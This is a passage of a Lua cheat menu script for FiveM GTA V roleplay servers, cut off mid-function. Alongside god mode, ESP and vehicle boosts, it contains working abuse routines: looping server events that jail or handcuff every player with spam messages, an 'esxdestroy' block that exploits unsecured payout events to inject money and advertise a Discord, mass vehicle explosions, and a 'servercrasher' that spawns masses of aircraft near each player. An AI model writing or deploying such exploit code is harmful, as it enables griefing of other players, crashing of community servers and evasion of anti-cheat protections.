  840. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 16) - 1, false)
  841. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2, true)
  842. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2, true)
  843. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2, true)
  844. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2, true)
  845. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2, true)
  846. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 2, true)
  847. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 23, 1, false)
  848. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 24, 1, false)
  849. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 25) - 1, false)
  850. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 27) - 1, false)
  851. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 28) - 1, false)
  852. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 30) - 1, false)
  853. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 33) - 1, false)
  854. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 34) - 1, false)
  855. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 35) - 1, false)
  856. SetVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38, GetNumVehicleMods(GetVehiclePedIsIn(GetPlayerPed(-1), false), 38) - 1, true)
  857. SetVehicleWindowTint(GetVehiclePedIsIn(GetPlayerPed(-1), false), 3)
  858. SetVehicleTyresCanBurst(GetVehiclePedIsIn(GetPlayerPed(-1), false), false)
  859. SetVehicleNumberPlateTextIndex(GetVehiclePedIsIn(GetPlayerPed(-1), false), 4)
  860. end
  861.  
  862. function DelVeh(veh)
  863. SetEntityAsMissionEntity(Object, 1, 1)
  864. DeleteEntity(Object)
  865. SetEntityAsMissionEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false), 1, 1)
  866. DeleteEntity(GetVehiclePedIsIn(GetPlayerPed(-1), false))
  867. end
  868.  
  869. function Clean(veh)
  870. SetVehicleDirtLevel(veh, 15.0)
  871. end
  872.  
  873. function engine(veh)
  874. SetVehicleModKit(GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
  875. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 17, true)
  876. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 18, true)
  877. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 19, true)
  878. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 20, true)
  879. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 21, true)
  880. ToggleVehicleMod(GetVehiclePedIsIn(GetPlayerPed(-1), false), 22, true)
  881. end
  882.  
  883. function Clean2(veh)
  884. SetVehicleDirtLevel(veh, 1.0)
  885. end
  886.  
  887.  
  888. entityEnumerator = {
  889. __gc = function(enum)
  890. if enum.destructor and enum.handle then
  891. enum.destructor(enum.handle)
  892. end
  893. enum.destructor = nil
  894. enum.handle = nil
  895. end
  896. }
  897.  
  898. function EnumerateEntities(initFunc, moveFunc, disposeFunc)
  899. return coroutine.wrap(function()
  900. local iter, id = initFunc()
  901. if not id or id == 0 then
  902. disposeFunc(iter)
  903. return
  904. end
  905.  
  906. local enum = {handle = iter, destructor = disposeFunc}
  907. setmetatable(enum, entityEnumerator)
  908.  
  909. local next = true
  910. repeat
  911. coroutine.yield(id)
  912. next, id = moveFunc(iter)
  913. until not next
  914.  
  915. enum.destructor, enum.handle = nil, nil
  916. disposeFunc(iter)
  917. end)
  918. end
  919.  
  920. function EnumerateObjects()
  921. return EnumerateEntities(FindFirstObject, FindNextObject, EndFindObject)
  922. end
  923.  
  924. function EnumeratePeds()
  925. return EnumerateEntities(FindFirstPed, FindNextPed, EndFindPed)
  926. end
  927.  
  928. function EnumerateVehicles()
  929. return EnumerateEntities(FindFirstVehicle, FindNextVehicle, EndFindVehicle)
  930. end
  931.  
  932. function EnumeratePickups()
  933. return EnumerateEntities(FindFirstPickup, FindNextPickup, EndFindPickup)
  934. end
  935.  
  936. function RequestControl(entity)
  937. local Waiting = 0
  938. NetworkRequestControlOfEntity(entity)
  939. while not NetworkHasControlOfEntity(entity) do
  940. Waiting = Waiting + 100
  941. Citizen.Wait(100)
  942. if Waiting > 5000 then
  943. drawNotification("Hung for 5 seconds, killing to prevent issues...")
  944. end
  945. end
  946. end
  947.  
  948. function getEntity(player)
  949. local result, entity = GetEntityPlayerIsFreeAimingAt(player, Citizen.ReturnResultAnyway())
  950. return entity
  951. end
  952.  
  953. function GetInputMode()
  954. return Citizen.InvokeNative(0xA571D46727E2B718, 2) and "MouseAndKeyboard" or "GamePad"
  955. end
  956.  
  957. function DrawSpecialText(m_text, showtime)
  958. SetTextEntry_2("STRING")
  959. AddTextComponentString(m_text)
  960. DrawSubtitleTimed(showtime, 1)
  961. end
  962.  
  963. -- MAIN CODE --
  964.  
  965.  
  966. ShowHudComponentThisFrame(14)
  967.  
  968. Citizen.CreateThread(function()
  969. local headId = {}
  970. while true do
  971. Citizen.Wait(1)
  972. if playerBlips then
  973. -- show blips
  974. for id = 0, 128 do
  975. if NetworkIsPlayerActive(id) and GetPlayerPed(id) ~= GetPlayerPed(-1) then
  976. ped = GetPlayerPed(id)
  977. blip = GetBlipFromEntity(ped)
  978.  
  979. -- HEAD DISPLAY STUFF --
  980.  
  981. -- Create head display (this is safe to be spammed)
  982. headId[id] = CreateMpGamerTag(ped, GetPlayerName( id ), false, false, "", false)
  983. wantedLvl = GetPlayerWantedLevel(id)
  984.  
  985. -- Wanted level display
  986. if wantedLvl then
  987. SetMpGamerTagVisibility(headId[id], 7, true) -- Add wanted sprite
  988. SetMpGamerTagWantedLevel(headId[id], wantedLvl) -- Set wanted number
  989. else
  990. SetMpGamerTagVisibility(headId[id], 7, false)
  991. end
  992.  
  993. -- Speaking display
  994. if NetworkIsPlayerTalking(id) then
  995. SetMpGamerTagVisibility(headId[id], 9, true) -- Add speaking sprite
  996. else
  997. SetMpGamerTagVisibility(headId[id], 9, false) -- Remove speaking sprite
  998. end
  999.  
  1000. -- BLIP STUFF --
  1001.  
  1002. if not DoesBlipExist(blip) then -- Add blip and create head display on player
  1003. blip = AddBlipForEntity(ped)
  1004. SetBlipSprite(blip, 1)
  1005. ShowHeadingIndicatorOnBlip(blip, true) -- Player Blip indicator
  1006. else -- update blip
  1007. veh = GetVehiclePedIsIn(ped, false)
  1008. blipSprite = GetBlipSprite(blip)
  1009. if not GetEntityHealth(ped) then -- dead
  1010. if blipSprite ~= 274 then
  1011. SetBlipSprite(blip, 274)
  1012. ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
  1013. end
  1014. elseif veh then
  1015. vehClass = GetVehicleClass(veh)
  1016. vehModel = GetEntityModel(veh)
  1017. if vehClass == 15 then -- Helicopters
  1018. if blipSprite ~= 422 then
  1019. SetBlipSprite(blip, 422)
  1020. ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
  1021. end
  1022. elseif vehClass == 8 then -- Motorcycles
  1023. if blipSprite ~= 226 then
  1024. SetBlipSprite(blip, 226)
  1025. ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
  1026. end
  1027. elseif vehClass == 16 then -- Plane
  1028. if vehModel == GetHashKey("besra") or vehModel == GetHashKey("hydra") or vehModel == GetHashKey("lazer") then -- Jets
  1029. if blipSprite ~= 424 then
  1030. SetBlipSprite(blip, 424)
  1031. ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
  1032. end
  1033. elseif blipSprite ~= 423 then
  1034. SetBlipSprite(blip, 423)
  1035. ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
  1036. end
  1037. elseif vehClass == 14 then -- Boat
  1038. if blipSprite ~= 427 then
  1039. SetBlipSprite(blip, 427)
  1040. ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
  1041. end
  1042. elseif vehModel == GetHashKey("insurgent") or vehModel == GetHashKey("insurgent2") or vehModel == GetHashKey("insurgent3") then -- Insurgent, Insurgent Pickup & Insurgent Pickup Custom
  1043. if blipSprite ~= 426 then
  1044. SetBlipSprite(blip, 426)
  1045. ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
  1046. end
  1047. elseif vehModel == GetHashKey("limo2") then -- Turreted Limo
  1048. if blipSprite ~= 460 then
  1049. SetBlipSprite(blip, 460)
  1050. ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
  1051. end
  1052. elseif vehModel == GetHashKey("rhino") then -- Tank
  1053. if blipSprite ~= 421 then
  1054. SetBlipSprite(blip, 421)
  1055. ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
  1056. end
  1057. elseif vehModel == GetHashKey("trash") or vehModel == GetHashKey("trash2") then -- Trash
  1058. if blipSprite ~= 318 then
  1059. SetBlipSprite(blip, 318)
  1060. ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
  1061. end
  1062. elseif vehModel == GetHashKey("pbus") then -- Prison Bus
  1063. if blipSprite ~= 513 then
  1064. SetBlipSprite(blip, 513)
  1065. ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
  1066. end
  1067. elseif vehModel == GetHashKey("seashark") or vehModel == GetHashKey("seashark2") or vehModel == GetHashKey("seashark3") then -- Speedophiles
  1068. if blipSprite ~= 471 then
  1069. SetBlipSprite(blip, 471)
  1070. ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
  1071. end
  1072. elseif vehModel == GetHashKey("cargobob") or vehModel == GetHashKey("cargobob2") or vehModel == GetHashKey("cargobob3") or vehModel == GetHashKey("cargobob4") then -- Cargobobs
  1073. if blipSprite ~= 481 then
  1074. SetBlipSprite(blip, 481)
  1075. ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
  1076. end
  1077. elseif vehModel == GetHashKey("technical") or vehModel == GetHashKey("technical2") or vehModel == GetHashKey("technical3") then -- Technical
  1078. if blipSprite ~= 426 then
  1079. SetBlipSprite(blip, 426)
  1080. ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
  1081. end
  1082. elseif vehModel == GetHashKey("taxi") then -- Cab/ Taxi
  1083. if blipSprite ~= 198 then
  1084. SetBlipSprite(blip, 198)
  1085. ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
  1086. end
  1087. elseif vehModel == GetHashKey("fbi") or vehModel == GetHashKey("fbi2") or vehModel == GetHashKey("police2") or vehModel == GetHashKey("police3") -- Police Vehicles
  1088. or vehModel == GetHashKey("police") or vehModel == GetHashKey("sheriff2") or vehModel == GetHashKey("sheriff")
  1089. or vehModel == GetHashKey("policeold2") or vehModel == GetHashKey("policeold1") then
  1090. if blipSprite ~= 56 then
  1091. SetBlipSprite(blip, 56)
  1092. ShowHeadingIndicatorOnBlip(blip, false) -- Player Blip indicator
  1093. end
  1094. elseif blipSprite ~= 1 then -- default blip
  1095. SetBlipSprite(blip, 1)
  1096. ShowHeadingIndicatorOnBlip(blip, true) -- Player Blip indicator
  1097. end
  1098.  
  1099. -- Show number in case of passangers
  1100. passengers = GetVehicleNumberOfPassengers(veh)
  1101.  
  1102. if passengers then
  1103. if not IsVehicleSeatFree(veh, -1) then
  1104. passengers = passengers + 1
  1105. end
  1106. ShowNumberOnBlip(blip, passengers)
  1107. else
  1108. HideNumberOnBlip(blip)
  1109. end
  1110. else
  1111. -- Remove leftover number
  1112. HideNumberOnBlip(blip)
  1113. if blipSprite ~= 1 then -- default blip
  1114. SetBlipSprite(blip, 1)
  1115. ShowHeadingIndicatorOnBlip(blip, true) -- Player Blip indicator
  1116. end
  1117. end
  1118.  
  1119. SetBlipRotation(blip, math.ceil(GetEntityHeading(veh))) -- update rotation
  1120. SetBlipNameToPlayerName(blip, id) -- update blip name
  1121. SetBlipScale(blip, 0.85) -- set scale
  1122.  
  1123. -- set player alpha
  1124. if IsPauseMenuActive() then
  1125. SetBlipAlpha( blip, 255 )
  1126. else
  1127. x1, y1 = table.unpack(GetEntityCoords(GetPlayerPed(-1), true))
  1128. x2, y2 = table.unpack(GetEntityCoords(GetPlayerPed(id), true))
  1129. distance = (math.floor(math.abs(math.sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2))) / -1)) + 900
  1130. -- Probably a way easier way to do this but whatever im an idiot
  1131.  
  1132. if distance < 0 then
  1133. distance = 0
  1134. elseif distance > 255 then
  1135. distance = 255
  1136. end
  1137. SetBlipAlpha(blip, distance)
  1138. end
  1139. end
  1140. end
  1141. end
  1142. else
  1143. for id = 0, 128 do
  1144. ped = GetPlayerPed(id)
  1145. blip = GetBlipFromEntity(ped)
  1146. if DoesBlipExist(blip) then -- Removes blip
  1147. RemoveBlip(blip)
  1148. end
  1149. if IsMpGamerTagActive(headId[id]) then
  1150. RemoveMpGamerTag(headId[id])
  1151. end
  1152. end
  1153. end
  1154. end
  1155. end)
  1156.  
  1157. Citizen.CreateThread(
  1158. function()
  1159. while Enabled do
  1160. Citizen.Wait(0)
  1161. SetPlayerInvincible(PlayerId(), Godmode)
  1162. SetEntityInvincible(PlayerPedId(), Godmode)
  1163. if SuperJump then
  1164. SetSuperJumpThisFrame(PlayerId())
  1165. end
  1166.  
  1167. if ePunch then
  1168. SetExplosiveMeleeThisFrame(PlayerId())
  1169. end
  1170.  
  1171. if InfStamina then
  1172. RestorePlayerStamina(PlayerId(), 1.0)
  1173. end
  1174.  
  1175. if Invisible then
  1176. SetEntityVisible(GetPlayerPed(-1), false, 0)
  1177. else
  1178. SetEntityVisible(GetPlayerPed(-1), true, 0)
  1179.  
  1180. if(SpeedDemon) then
  1181. if IsPedSittingInAnyVehicle(ped) then
  1182. local veh = GetVehiclePedIsUsing(ped)
  1183. if veh ~= nil then
  1184. SetVehicleHandlingFloat(veh, "CHandlingData", "fMass", 15000000.0);
  1185. SetVehicleHandlingFloat(veh, "CHandlingData", "fInitialDragCoeff", 10.0);
  1186. SetVehicleHandlingFloat(veh, "CHandlingData", "fInitialDriveMaxFlatVel", 1000.0);
  1187. SetVehicleHandlingFloat(veh, "CHandlingData", "fDriveBiasFront", 0.50);
  1188. SetVehicleHandlingFloat(veh, "CHandlingData", "fTractionCurveMax", 4.5);
  1189. SetVehicleHandlingFloat(veh, "CHandlingData", "fTractionCurveMin", 4.38);
  1190. SetVehicleHandlingFloat(veh, "CHandlingData", "fBrakeForce", 5.00);
  1191. SetVehicleHandlingFloat(veh, "CHandlingData", "fEngineDamageMult", 0.50);
  1192. SetVehicleHandlingFloat(veh, "CHandlingData", "fSteeringLock", 65.00);
  1193. SetVehicleHandlingFloat(veh, "CHandlingData", "fRollCentreHeightFront", 0.80);
  1194. SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(ped, false), 12.0)
  1195. SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(ped, false), 6.0);
  1196. end
  1197. end
  1198. end
  1199. end
  1200.  
  1201.  
  1202. if VehicleGun then
  1203. local VehicleGunVehicle = "Freight"
  1204. local playerPedPos = GetEntityCoords(GetPlayerPed(-1), true)
  1205. if (IsPedInAnyVehicle(GetPlayerPed(-1), true) == false) then
  1206. drawNotification("~g~Vehicle Gun Enabled!~n~~w~Use The ~b~AP Pistol~n~~b~Aim ~w~and ~b~Shoot!")
  1207. GiveWeaponToPed(GetPlayerPed(-1), GetHashKey("WEAPON_APPISTOL"), 999999, false, true)
  1208. SetPedAmmo(GetPlayerPed(-1), GetHashKey("WEAPON_APPISTOL"), 999999)
  1209. if (GetSelectedPedWeapon(GetPlayerPed(-1)) == GetHashKey("WEAPON_APPISTOL")) then
  1210. if IsPedShooting(GetPlayerPed(-1)) then
  1211. while not HasModelLoaded(GetHashKey(VehicleGunVehicle)) do
  1212. Citizen.Wait(0)
  1213. RequestModel(GetHashKey(VehicleGunVehicle))
  1214. end
  1215. local veh = CreateVehicle(GetHashKey(VehicleGunVehicle), playerPedPos.x + (5 * GetEntityForwardX(GetPlayerPed(-1))), playerPedPos.y + (5 * GetEntityForwardY(GetPlayerPed(-1))), playerPedPos.z + 2.0, GetEntityHeading(GetPlayerPed(-1)), true, true)
  1216. SetEntityAsNoLongerNeeded(veh)
  1217. SetVehicleForwardSpeed(veh, 150.0)
  1218. end
  1219. end
  1220. end
  1221. end
  1222.  
  1223. if DeleteGun then
  1224. local gotEntity = getEntity(PlayerId())
  1225. if (IsPedInAnyVehicle(GetPlayerPed(-1), true) == false) then
  1226. drawNotification("~g~Delete Gun Enabled!~n~~w~Use The ~b~Pistol~n~~b~Aim ~w~and ~b~Shoot ~w~To Delete!")
  1227. GiveWeaponToPed(GetPlayerPed(-1), GetHashKey("WEAPON_PISTOL"), 999999, false, true)
  1228. SetPedAmmo(GetPlayerPed(-1), GetHashKey("WEAPON_PISTOL"), 999999)
  1229. if (GetSelectedPedWeapon(GetPlayerPed(-1)) == GetHashKey("WEAPON_PISTOL")) then
  1230. if IsPlayerFreeAiming(PlayerId()) then
  1231. if IsEntityAPed(gotEntity) then
  1232. if IsPedInAnyVehicle(gotEntity, true) then
  1233. if IsControlJustReleased(1, 142) then
  1234. SetEntityAsMissionEntity(GetVehiclePedIsIn(gotEntity, true), 1, 1)
  1235. DeleteEntity(GetVehiclePedIsIn(gotEntity, true))
  1236. SetEntityAsMissionEntity(gotEntity, 1, 1)
  1237. DeleteEntity(gotEntity)
  1238. drawNotification("~g~Deleted!")
  1239. end
  1240. else
  1241. if IsControlJustReleased(1, 142) then
  1242. SetEntityAsMissionEntity(gotEntity, 1, 1)
  1243. DeleteEntity(gotEntity)
  1244. drawNotification("~g~Deleted!")
  1245. end
  1246. end
  1247. else
  1248. if IsControlJustReleased(1, 142) then
  1249. SetEntityAsMissionEntity(gotEntity, 1, 1)
  1250. DeleteEntity(gotEntity)
  1251. drawNotification("~g~Deleted!")
  1252. end
  1253. end
  1254. end
  1255. end
  1256. end
  1257. end
  1258.  
  1259. if destroyvehicles then
  1260. for vehicle in EnumerateVehicles() do
  1261. if (vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false)) then
  1262. NetworkRequestControlOfEntity(vehicle)
  1263. SetVehicleUndriveable(vehicle,true)
  1264. SetVehicleEngineHealth(vehicle, 100)
  1265. end
  1266. end
  1267. end
  1268.  
  1269. if freezeall then
  1270. for i = 0, 128 do
  1271. TriggerServerEvent("OG_cuffs:cuffCheckNearest", GetPlayerServerId(i))
  1272. TriggerServerEvent("CheckHandcuff", GetPlayerServerId(i))
  1273. TriggerServerEvent('cuffServer', GetPlayerServerId(i))
  1274. TriggerServerEvent("cuffGranted", GetPlayerServerId(i))
  1275. TriggerServerEvent("police:cuffGranted", GetPlayerServerId(i))
  1276. TriggerServerEvent('esx_handcuffs:cuffing', GetPlayerServerId(i))
  1277. TriggerServerEvent('esx_policejob:handcuff', GetPlayerServerId(i))
  1278. end
  1279. end
  1280.  
  1281. if explodevehicles then
  1282. for vehicle in EnumerateVehicles() do
  1283. if (vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false)) and (not GotTrailer or (GotTrailer and vehicle ~= TrailerHandle)) then
  1284. NetworkRequestControlOfEntity(vehicle)
  1285. NetworkExplodeVehicle(vehicle, true, true, false)
  1286. end
  1287. end
  1288. end
  1289.  
  1290. if esp then
  1291. for i = 0, 300 do
  1292. if i ~= PlayerId() and GetPlayerServerId(i) ~= 0 then
  1293. local ra = RGBRainbow(1.0)
  1294. local pPed = GetPlayerPed(i)
  1295. local cx, cy, cz = table.unpack(GetEntityCoords(PlayerPedId()))
  1296. local x, y, z = table.unpack(GetEntityCoords(pPed))
  1297. local message =
  1298. "~g~" ..
  1299. GetPlayerName(i) ..
  1300. "\n~b~ Dist: " .. math.round(GetDistanceBetweenCoords(cx, cy, cz, x, y, z, false), 1)
  1301.  
  1302. DrawText3D(x, y, z + 1.0, message, 255, 255, 255)
  1303.  
  1304. LineOneBegin = GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, -0.9)
  1305. LineOneEnd = GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, -0.9)
  1306. LineTwoBegin = GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, -0.9)
  1307. LineTwoEnd = GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, -0.9)
  1308. LineThreeBegin = GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, -0.9)
  1309. LineThreeEnd = GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, -0.9)
  1310. LineFourBegin = GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, -0.9)
  1311.  
  1312. TLineOneBegin = GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, 0.8)
  1313. TLineOneEnd = GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, 0.8)
  1314. TLineTwoBegin = GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, 0.8)
  1315. TLineTwoEnd = GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
  1316. TLineThreeBegin = GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
  1317. TLineThreeEnd = GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, 0.8)
  1318. TLineFourBegin = GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, 0.8)
  1319.  
  1320. ConnectorOneBegin = GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, 0.8)
  1321. ConnectorOneEnd = GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, -0.9)
  1322. ConnectorTwoBegin = GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
  1323. ConnectorTwoEnd = GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, -0.9)
  1324. ConnectorThreeBegin = GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, 0.8)
  1325. ConnectorThreeEnd = GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, -0.9)
  1326. ConnectorFourBegin = GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, 0.8)
  1327. ConnectorFourEnd = GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, -0.9)
  1328. end
  1329. end
  1330. end
  1331.  
  1332. if supergrip then
  1333. SetHandlingInt(GetVehiclePedIsUsing(PlayerPedId()), CHandlingData, fTractionCurveMin, 1000000)
  1334. end
  1335.  
  1336. if VehGod and IsPedInAnyVehicle(PlayerPedId(), true) then
  1337. SetEntityInvincible(GetVehiclePedIsUsing(PlayerPedId()), true)
  1338. end
  1339.  
  1340. if blowall then
  1341. for i = 0, 300 do
  1342. AddExplosion(GetEntityCoords(GetPlayerPed(i)), 2, 100000.0, true, false, 100000.0)
  1343. end
  1344. end
  1345.  
  1346. if banallusers then
  1347. for i = 0, 450 do
  1348. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 3000)
  1349. TriggerServerEvent("esx_jailler:sendToJail", GetPlayerServerId(i), 59999, "Catroleplay.com rafon pamietaj kc", 997)
  1350. TriggerServerEvent("esx_jailer:sendToJail", GetPlayerServerId(i), 9937, "youtube.com/c/Cat98 <--- NAJLEPSZE CHEATY NA FIVEMA :)", 300)
  1351. TriggerServerEvent("esx-qalle-jail:jailPlayer", GetPlayerServerId(i), 5000, "youtube.com/c/Cat98 <--- NAJLEPSZE CHEATY NA FIVEMA :)")
  1352. TriggerServerEvent("esx-qalle-jail:jailPlayerNew", GetPlayerServerId(i), 5000, "youtube.com/c/Cat98 <--- NAJLEPSZE CHEATY NA FIVEMA :)")
  1353. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 50000)
  1354. TriggerServerEvent("8321hiue89js", GetPlayerServerId(i), 5007, "xCat jebac wasz antycheat ;) ONLY CatROLEPLAY.COM", 32532532, securityToken)
  1355. TriggerServerEvent("esx_jailer:sendToJailCatfrajerze", GetPlayerServerId(i), 300000, "xCat geng, jebac fivem poteznie", 500324532)
  1356. TriggerServerEvent("esx_jail:sendToJail", GetPlayerServerId(i), 5000, "youtube.com/c/Cat98 <--- NAJLEPSZE CHEATY NA FIVEMA :)")
  1357. TriggerServerEvent("js:jailuser", GetPlayerServerId(i), 5000, "dude weed")
  1358. TriggerServerEvent('chatMessageEntered', "SYSTEM", { 0, 0, 0 }, GetPlayerName(PlayerId()) .." xCat on YOUTUBE.")
  1359. end
  1360. end
  1361.  
  1362. if esxdestroy then
  1363. Citizen.CreateThread(
  1364. function()
  1365. TriggerServerEvent('esx_jobs:caution', 'give_back', 9999999999)
  1366. TriggerServerEvent('esx_fueldelivery:pay', 9999999999)
  1367. TriggerServerEvent('esx_carthief:pay', 9999999999)
  1368. TriggerServerEvent('esx_godirtyjob:pay', 9999999999)
  1369. TriggerServerEvent('esx_pizza:pay', 9999999999)
  1370. TriggerServerEvent('esx_ranger:pay', 9999999999)
  1371. TriggerServerEvent('esx_garbagejob:pay', 9999999999)
  1372. TriggerServerEvent('esx_truckerjob:pay', 9999999999)
  1373. TriggerServerEvent('AdminMenu:giveBank', 9999999999)
  1374. TriggerServerEvent('AdminMenu:giveCash', 9999999999)
  1375. TriggerServerEvent('esx_gopostaljob:pay', 9999999999)
  1376. TriggerServerEvent('esx_banksecurity:pay', 9999999999)
  1377. TriggerServerEvent('esx_slotmachine:sv:2', 9999999999)
  1378. for bD = 5, 5 do
  1379. TriggerServerEvent(
  1380. '_chat:messageEntered',
  1381. 'Maestro',
  1382. {
  1383. 141,
  1384. 211,
  1385. 255
  1386. },
  1387. '^' .. bD .. 'Maestro 1.3 ~ https://discord.gg/DAhzN6q'
  1388. )
  1389. end
  1390. for i = 0, 128 do
  1391. TriggerServerEvent(
  1392. 'esx:giveInventoryItem',
  1393. GetPlayerServerId(i),
  1394. 'item_money',
  1395. 'money',
  1396. 1254756
  1397. )
  1398. TriggerServerEvent(
  1399. 'esx:giveInventoryItem',
  1400. GetPlayerServerId(i),
  1401. 'item_money',
  1402. 'money',
  1403. 1254756
  1404. )
  1405. TriggerServerEvent(
  1406. 'esx_billing:sendBill',
  1407. GetPlayerServerId(i),
  1408. 'Purposeless',
  1409. 'Maestro 1.3 ~ https://discord.gg/DAhzN6q',
  1410. 43161337
  1411. )
  1412. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(i), 'police', 3)
  1413. TriggerServerEvent('NB:recruterplayer', i, 'police', 3)
  1414. end
  1415. end
  1416. )
  1417. end
  1418.  
  1419. if servercrasher then
  1420. Citizen.CreateThread(
  1421. function()
  1422. local dj = 'Avenger'
  1423. local dk = 'CARGOPLANE'
  1424. local dl = 'luxor'
  1425. local dm = 'maverick'
  1426. local dn = 'blimp2'
  1427. while not HasModelLoaded(GetHashKey(dk)) do
  1428. Citizen.Wait(0)
  1429. RequestModel(GetHashKey(dk))
  1430. end
  1431. while not HasModelLoaded(GetHashKey(dl)) do
  1432. Citizen.Wait(0)
  1433. RequestModel(GetHashKey(dl))
  1434. end
  1435. while not HasModelLoaded(GetHashKey(dj)) do
  1436. Citizen.Wait(0)
  1437. RequestModel(GetHashKey(dj))
  1438. end
  1439. while not HasModelLoaded(GetHashKey(dm)) do
  1440. Citizen.Wait(0)
  1441. RequestModel(GetHashKey(dm))
  1442. end
  1443. while not HasModelLoaded(GetHashKey(dn)) do
  1444. Citizen.Wait(0)
  1445. RequestModel(GetHashKey(dn))
  1446. end
  1447. for i = 0, 128 do
  1448. for ak = 100, 150 do
  1449. local dl =
  1450. CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  1451. CreateVehicle(GetHashKey(dj), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  1452. CreateVehicle(GetHashKey(dj), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true) and
  1453. CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  1454. CreateVehicle(GetHashKey(dk), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  1455. CreateVehicle(GetHashKey(dk), 2 * GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  1456. CreateVehicle(GetHashKey(dl), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  1457. CreateVehicle(GetHashKey(dl), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true) and
  1458. CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  1459. CreateVehicle(GetHashKey(dm), GetEntityCoords(GetPlayerPed(i)) - ak, true, true) and
  1460. CreateVehicle(GetHashKey(dm), 2 * GetEntityCoords(GetPlayerPed(i)) + ak, true, true) and
